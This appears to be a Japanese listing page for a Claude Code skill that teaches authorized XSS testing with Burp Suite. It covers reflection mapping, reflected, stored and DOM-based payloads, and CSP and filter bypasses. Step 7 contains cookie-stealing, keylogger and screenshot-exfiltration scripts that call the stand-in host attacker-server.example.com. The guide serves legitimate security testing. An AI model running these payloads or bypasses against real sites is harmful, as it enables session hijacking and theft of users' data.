testing-for-xss-vulnerabilities-with-burpsuite について
許可された Web アプリケーションテストで、反射型・格納型・DOM ベース XSS を調べる Burp Suite Professional 向けスキルです。入力の反射箇所やコンテキスト別の挙動、防御策を検証し、確認した結果を記録します。
主な機能
- 01アプリの入力箇所と反射の把握
- 02反射型・格納型 XSS のテスト
- 03DOM Invader による DOM 型 XSS の追跡
- 04フィルターと CSP の評価
- 05影響の検証と結果の記録
活用シーン
- 01許可された Web ペネトレーションテスト
- 02スキャナーが報告した XSS の検証
- 03CSP と XSS フィルターのテスト
- 04SPA のクライアント側セキュリティ評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-xss-vulnerabilities-with-burpsuiteインストール後、Claude Code で/testing-for-xss-vulnerabilities-with-burpsuiteを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Burp Suite を使用した XSS 脆弱性のテスト
使用する場面
- 許可を得た Web アプリケーションのペネトレーションテストで、反射型、格納型、DOM ベースの XSS を検出する場合
- 自動脆弱性スキャナーが報告した XSS の検出結果を検証する場合
- Content Security Policy(CSP)と XSS フィルターの有効性をテストする場合
- シングルページアプリケーション(SPA)のクライアント側セキュリティを評価する場合
- XSS 脆弱性を対象としたバグバウンティプログラムに参加する場合
前提条件
- 許可:対象アプリケーションのテスト範囲とルールを記載した書面
- Burp Suite Professional:アクティブスキャナー機能を利用できるライセンス版
- ブラウザー:Burp CA 証明書をインストールした Firefox または Chromium
- FoxyProxy:Burp プロキシ(127.0.0.1:8080)経由でトラフィックをルーティングするよう設定されたブラウザー拡張機能
- 対象アプリケーション:有効なテスト用認証情報による認証済みアクセス
- XSS ペイロードリスト:カスタムワードリスト、または Burp の組み込み XSS ペイロードセット
ワークフロー
ステップ 1:Burp Suite を設定し、アプリケーションをマッピングする
プロキシを設定してアプリケーションをクロールし、すべての入力箇所を特定します。
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
ステップ 2:Burp Repeater で反射箇所を特定する
リクエストを Repeater に送信し、一意のカナリア文字列を挿入して、ユーザー入力が反射される箇所を特定します。
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
ステップ 3:コンテキストに応じたペイロードで反射型 XSS をテストする
反射されるコンテキストに基づいて、対象を絞った XSS ペイロードを作成します。
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
ステップ 4:Burp Intruder で格納型 XSS をテストする
Burp Intruder を使用して、コメント、プロフィール、メッセージなどの入力フィールドで格納型 XSS をテストします。
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
ステップ 5:DOM ベースの XSS をテストする
Burp の DOM Invader を使って、ユーザー入力を安全でない方法で処理するクライアント側 JavaScript を特定します。
# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")
# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()
# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data
# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>
# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer
ステップ 6:XSS フィルターと CSP を回避する
基本的なペイロードがブロックされた場合は、高度な手法で保護を回避します。
# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>
# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=alert(1)>
# Unicode escapes: <script>\u0061lert(1)</script>
# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>
ステップ 7:影響を検証し、検出結果を記録する
悪用可能であることを確認し、攻撃チェーン全体を記録します。
# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>
# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>
# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
fetch('https://attacker-server.example.com/screen',{
method:'POST',body:canvas.toDataURL()
});
});
</script>
# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps
主な概念
| 概念 | 説明 |
|---|---|
| 反射型 XSS | 現在の HTTP リクエストから、ペイロードがサーバーのレスポンスに直ちに含まれるもの |
| 格納型 XSS | ペイロードがサーバー(データベース、ファイル)に保存され、ほかのユーザーに配信されるもの |
| DOM ベースの XSS | サーバーで反射されず、JavaScript によってクライアント側のみで処理されるもの |
| XSS シンク | 信頼できない入力を実行またはレンダリングする JavaScript 関数や DOM プロパティ |
| XSS ソース | 攻撃者が制御するデータがクライアント側アプリケーションに入る箇所 |
| CSP | ページ上で実行できるスクリプトを制限する Content Security Policy ヘッダー |
| コンテキスト対応エンコーディング | 出力コンテキストに応じて適切なエンコーディング(HTML、JS、URL、CSS)を適用すること |
| Mutation XSS(mXSS) | DOM のシリアライズ時に生じるブラウザーの HTML パーサーの不整合を悪用する XSS |
ツールとシステム
| ツール | 用途 |
|---|---|
| Burp Suite Professional | スキャナー、Intruder、Repeater、DOM Invader を備えた主要なテストプラットフォーム |
| DOM Invader | DOM XSS テスト用の Burp 組み込みブラウザー拡張機能 |
| Hackvertor | 高度なペイロードのエンコードと変換を行う Burp BApp |
| XSS Hunter | 実行の証拠を取得するブラインド XSS 検出プラットフォーム |
| Dalfox | パラメーター分析機能を備えた CLI ベースの XSS スキャナー(go install github.com/hahwul/dalfox/v2@latest) |
| CSP Evaluator | Content Security Policy の有効性を分析する Google のツール |
よくあるシナリオ
シナリオ 1:検索機能における反射型 XSS
検索ページで、クエリパラメーターがエンコードされずに検索結果の見出しに反射されます。検索パラメーターに <script>alert(document.domain)</script> を挿入し、反射型 XSS による Cookie の窃取を実証します。
シナリオ 2:コメントシステムにおける格納型 XSS
ブログのコメントフォームでは <script> タグはサニタイズされますが、<img> タグは許可されています。<img src=x onerror=alert(document.domain)> を使って格納型 XSS を実現し、ページを読み込むすべての訪問者に対して実行されることを確認します。
シナリオ 3:DOM ベースの XSS がある SPA
React/Angular の SPA が window.location.hash を読み取り、innerHTML を介して DOM に挿入します。DOM Invader を使ってソースからシンクまでのデータフローを追跡し、URL フラグメントにペイロードを作成します。
シナリオ 4:厳格な CSP が設定された WAF の背後にある XSS
WAF が一般的な XSS パターンをブロックし、CSP がインラインスクリプトを制限します。許可リストに登録されたドメイン上にある JSONP エンドポイントを見つけ、スクリプトガジェットとして利用して CSP を回避します。
出力形式
## XSS Vulnerability Finding
**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments → `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser
### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms
### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set
### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header